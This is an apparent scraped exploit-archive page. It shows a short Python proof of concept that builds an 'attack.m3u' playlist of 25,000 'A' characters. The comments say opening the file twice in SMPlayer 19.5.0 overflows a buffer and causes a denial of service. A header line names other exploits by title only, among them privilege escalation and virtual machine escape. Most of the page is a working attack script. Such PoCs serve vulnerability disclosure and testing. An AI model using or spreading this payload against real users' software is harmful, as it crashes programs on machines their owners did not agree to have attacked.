8162754975
9 changes to exploits/shellcodes SMPlayer 19.5.0 - Denial of Service (PoC) InTouch Machine Edition 8.1 SP1 - 'Atributos' Denial of Service (PoC) ClamAV < 0.102.0 - 'bytecode_vm' Code Execution Waves MaxxAudio Drivers 1.1.6.0 - 'WavesSysSvc64' Unquoted Service Path Easy-Hide-IP 5.0.0.3 - 'EasyRedirect' Unquoted Service Path Microsoft Windows AppXsvc Deployment Extension - Privilege Escalation VMware WorkStation 12.5.5 - Virtual Machine Escape VMware WorkStation 12.5.3 - Virtual Machine Escape
23 lines
No EOL
748 B
Python
Executable file
23 lines
No EOL
748 B
Python
Executable file
# Title : SMPlayer 19.5.0 - Denial of Service (PoC)
|
|
# Tested on : Windows 7 (64 bit)
|
|
# Vulnerable Software: SMPlayer v 19.5.0
|
|
# Exploit Author: Malav Vyas
|
|
# Vendor Homepage: https://smplayer.info
|
|
# Version : 19.5.0
|
|
# Software Link : https://smplayer.info/en/downloads
|
|
|
|
# POC
|
|
# run this python file, which will generate attack.m3u file
|
|
# .m3u file is used as a playlist
|
|
# this python file will generate a .m3u file with 25000 "A" characters.
|
|
# Open this file in SMPlayer two times.
|
|
# second time, buffer would be successfully overflowed and it would result in a Denial Of Service attack.
|
|
# For more details, please refer to video
|
|
|
|
f="attack.m3u"
|
|
|
|
bof = "A"*25000
|
|
|
|
writeFile = open(f, "w")
|
|
writeFile.write(bof)
|
|
writeFile.close() |